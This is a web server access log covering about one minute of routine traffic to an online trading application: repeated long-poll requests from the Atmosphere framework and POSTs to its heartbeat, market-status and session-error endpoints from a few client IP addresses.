[09/Jan/2026:12:08:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931963387 HTTP/1.1" -
[09/Jan/2026:12:08:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931965569 HTTP/1.1" -
[09/Jan/2026:12:08:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931964770 HTTP/1.1" -
[09/Jan/2026:12:08:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931966334 HTTP/1.1" -
[09/Jan/2026:12:08:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931966334 HTTP/1.1" -
[09/Jan/2026:12:08:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931968406 HTTP/1.1" -
[09/Jan/2026:12:08:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931968522 HTTP/1.1" -
[09/Jan/2026:12:08:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931969330 HTTP/1.1" -
[09/Jan/2026:12:08:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931970609 HTTP/1.1" -
[09/Jan/2026:12:08:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931969903 HTTP/1.1" -
[09/Jan/2026:12:08:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931972329 HTTP/1.1" -
[09/Jan/2026:12:08:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931972329 HTTP/1.1" -
[09/Jan/2026:12:08:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931973646 HTTP/1.1" -
[09/Jan/2026:12:08:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931973593 HTTP/1.1" -
[09/Jan/2026:12:08:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931975628 HTTP/1.1" -
[09/Jan/2026:12:08:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931975328 HTTP/1.1" -
[09/Jan/2026:12:08:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931974975 HTTP/1.1" -
[09/Jan/2026:12:08:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931978339 HTTP/1.1" -
[09/Jan/2026:12:08:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931978339 HTTP/1.1" -
[09/Jan/2026:12:08:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931978788 HTTP/1.1" -
[09/Jan/2026:12:08:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931978836 HTTP/1.1" -
[09/Jan/2026:12:08:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931980664 HTTP/1.1" -
[09/Jan/2026:12:08:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931981333 HTTP/1.1" -
[09/Jan/2026:12:08:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931980048 HTTP/1.1" -
[09/Jan/2026:12:08:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931983904 HTTP/1.1" -
[09/Jan/2026:12:08:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931984063 HTTP/1.1" -
[09/Jan/2026:12:08:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931984339 HTTP/1.1" -
[09/Jan/2026:12:08:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931984340 HTTP/1.1" -
[09/Jan/2026:12:08:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931985706 HTTP/1.1" -
[09/Jan/2026:12:08:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931985074 HTTP/1.1" -
[09/Jan/2026:12:08:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931987335 HTTP/1.1" -
[09/Jan/2026:12:08:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931989109 HTTP/1.1" -
[09/Jan/2026:12:08:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931989181 HTTP/1.1" -
[09/Jan/2026:12:08:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931990339 HTTP/1.1" -
[09/Jan/2026:12:08:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931990339 HTTP/1.1" -
[09/Jan/2026:12:08:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931990757 HTTP/1.1" -
[09/Jan/2026:12:08:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931990102 HTTP/1.1" -
[09/Jan/2026:12:08:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931993329 HTTP/1.1" -
[09/Jan/2026:12:08:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931994313 HTTP/1.1" -
[09/Jan/2026:12:08:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931994364 HTTP/1.1" -
[09/Jan/2026:12:08:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931995805 HTTP/1.1" -
[09/Jan/2026:12:08:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931996340 HTTP/1.1" -
[09/Jan/2026:12:08:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931996340 HTTP/1.1" -
[09/Jan/2026:12:08:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931995203 HTTP/1.1" -
[09/Jan/2026:12:08:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931999327 HTTP/1.1" -
[09/Jan/2026:12:08:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931999509 HTTP/1.1" -
[09/Jan/2026:12:08:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931999609 HTTP/1.1" -
[09/Jan/2026:12:08:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932000852 HTTP/1.1" -
[09/Jan/2026:12:08:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932000309 HTTP/1.1" -
[09/Jan/2026:12:08:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932002327 HTTP/1.1" -
[09/Jan/2026:12:08:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932002327 HTTP/1.1" -
[09/Jan/2026:12:08:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932004694 HTTP/1.1" -
[09/Jan/2026:12:08:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932004843 HTTP/1.1" -
[09/Jan/2026:12:08:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932005329 HTTP/1.1" -
[09/Jan/2026:12:08:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932005875 HTTP/1.1" -
[09/Jan/2026:12:08:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932005430 HTTP/1.1" -
[09/Jan/2026:12:08:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:08:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:08:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:08:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932008332 HTTP/1.1" -
[09/Jan/2026:12:08:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932008332 HTTP/1.1" -
